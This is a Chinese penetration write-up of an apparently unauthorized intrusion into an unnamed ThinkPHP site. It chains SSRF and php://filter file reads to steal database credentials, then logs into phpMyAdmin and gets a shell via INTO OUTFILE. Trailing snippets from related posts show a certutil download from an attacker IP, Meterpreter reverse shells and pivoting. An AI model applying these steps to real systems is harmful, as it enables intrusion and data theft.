记一次渗透某XX站

VSole2022-07-19 08:07:20

0x01 前言

团队A师傅发来个站,问我有没有得搞

正好在搞其他的站,卡住了,开干换个思路。

0x02 信息收集

开burp抓了下包,目标设置了url重写,开了报错,我们随意输入一个控制器就直接报错。

获取到web绝对路径。抓包发现这样的请求

随手试了一下burpsuite的dnslog,发现请求过去并回显了,猜测后端使用file_get_contens来获取。

一个可回显ssrf,有什么用呢?打内网?

尝试file协议,尝试读取文件,发现可以读。

但发现返回的内容不完整,猜测有截断,用php://filter协议base64编码一下绕过读取。

解码

有一个任意文件读取有什么用呢?在这之前,其实是有用nmap扫了一下其他端口

开了挺多端口的,一个个测了一下发现999端口开着phpmyadmin。

结合任意文件读取,那么只要我们读取出mysql的账号密码即可进入phpmyadmin,之后的getshell方法就很多了。

thinkphp的目录结构根据官方文档一般都长这样。

而数据库文件一般是放在common/conf下面的。简单猜了会,尝试读取index控制器。

之前的报错其实已经放出了index控制器在那个模块下面了,就是默认的home模块。

读取

没有返回,猜测是application目录改名了,结合之前的审计经验,一般会改为app。

再读取,成功。

接下来就是猜数据库文件存放的位置,一般会存放在common模块下面的config.php或者db.php,尝试了一下config.php,命中。

Base64解码得出源文件。

拿到账号密码,直奔phpmyadmin。输入账号密码,回车,登陆成功。

后面拿shell就给A师傅去弄了。

0x03 URL Rewrite的一些疑惑

题外话:因为之前帮朋友搞了一些站也是这样的,有文件上传直接拿shell,但是没有办法访问,访问提示:

有拿到源码,.htaccess里面有对url重写,比如长这样的。

之前上传没法访问一直以为是重写的问题。

 

但其实也可能不是,有可能是马儿被杀了缘故,当文件不存在的时候才会提示这样。

在本地测试,拉了个thinkphp 3.2.3的项目,htaccess一样配置。

在根目录下写入个test.php,内容为phpinfo。可以直接访问。

删掉test.php,报错

换到二级目录下继续测试:

不存在文件的时候同样提示:

后面深入研究了一下那份源码发现也不是马儿被杀了的原因,应该由于它的分割符问题。不是传统的/,而是点号,传统的文件路径访问与路由冲突了,最终也就没办法访问到uploads目录下的shell。

没想出对于这种路由有啥办法可以解决的,如果有知道的师傅欢迎评论交流。

更新:那个有问题的站也拿下了,原因确实是没有文件导致的,至于为什么没有写入成功又是另外一回事了。

更新2:感谢love17师傅的评论,关于htaccess的理解之前确实不对,删掉了,不误人子弟。

0x04 拿shell

由于上面的疑惑,生成了我错误的认知,导致我以为拿shell会比较麻烦,我的思路是phpmyadmin 日志方式导出一个符合thinkphp路由的shell到相应的控制器下,以绕过路由的检测。

但A师傅说直接into outfile到images目录就可以了,那就是mysql版本不高也没有secure_file_priv的问题,直接导出shell了。

我:emmmmm

0x05 总结

对于rewrite语法,路由不熟悉导致了后续一系列问题,错误的认知还把自己带坑里面去了。多开脑子容易秀逗。

路由shell
本作品采用《CC 协议》,转载必须注明作者和本文链接
0x01 前言在上一篇文章中深入浅出内存马(一),我介绍了基于Tomcat的Filter内存马,不光是Fil
记一次渗透某XX站
2022-07-19 08:07:20
尝试file协议,尝试读取文件,发现可以读。结合任意文件读取,那么只要我们读取出mysql的账号密码即可进入phpmyadmin,之后的getshell方法就很多了。
Webshell检测方法
2022-01-04 10:33:05
Webshell作为一种web后门,通常由攻击者通过常见的Web网站漏洞,如sql注入、文件包含和上传等,上传到服务器,从而为攻击者提供与服务器端进行交互的能力。
主要记录拿到Shell后再反弹MSF Shell、Mimikatz抓取密码以及登录域控等内网部分。前面漏洞环境搭建及打点等不作记录,可查看参考文章。攻击机利用Python开启HTTP服务$ python -m SimpleHTTPServer 8080. 靶机CMD下载木马文件$ certutil.exe -urlcache -split -f http://<攻击者IP>:8080/win.exe. [*] Started reverse TCP handler on <攻击者IP>:<攻击机监听端口>. 并且需要迁移到权限为NT AUTHORITY\SYSTEM的进程,因为进程迁移后meterpreter的权限是迁移进程的权限。查看靶机位数&进程meterpreter > sysinfo # 查看位数。配置路由meterpreter > run autoroute -s 192.168.52.0/24. MS17-010扫一下MS17-010meterpreter > background # 后台挂起Session
0x01 突破边界拿下shell周末在家闲着没事突然就想搞事情了,然后使用Google hack语法输入批量搜索可能存在上传点的网站,试了好几个最后找到一个可利用的上传点。反弹shell&提权Linux下需要把shell反弹出来以方便我们操作,但是目标主机上既没有nc也没有python,查询相关资料后尝试了一下利用bash弹shell。在exploit-db中搜索此版本的相关漏洞,经过多次尝试,发现了下面这个exp来提升权限。一键开启远程桌面,建立隐藏账户,成功连入远程桌面。
在红队HW中通过前期的打点获得shell后通常下一步就是对内网进行横向,获得shell进想要行横向的前提是我们必须有代理可以访问内网中的资产,这时候我们就需要通过拿到shell的那台机器权限,在此台机上传代理工具进行配置搭建内网代理,目的达到内网出网的效果,使我们能够进行下一步的内网横向渗透。在hw中经常用到的代理工具有很多,根据不同之需和个人不同的使用习惯选择不同工具进行使用,本文主要对NPS这
访问FastAdmin站点,眼前一亮,祖师爷赏饭吃啊,基本是默认的FastAdmin Demo页面,开启了注册。虽然FastAdmin的漏洞没利用成功,但是根据DEBUG页面拿到了数据库的连接信息。FastAdmin后台提供了插件管理的功能,可以通过安装文件管理插件进行Getshell。这里有个小插曲,翻看目标站点源码发现也是FastAdmin,但是通过先前找的忘记密码方法添加上去,提示账号密码错误。另外由于各个站点之间没有隔离,旁站的shell和目标站点的shell没有差别,无需继续,至此渗透结束。
一次简单的渗透测试记录
VSole
网络安全专家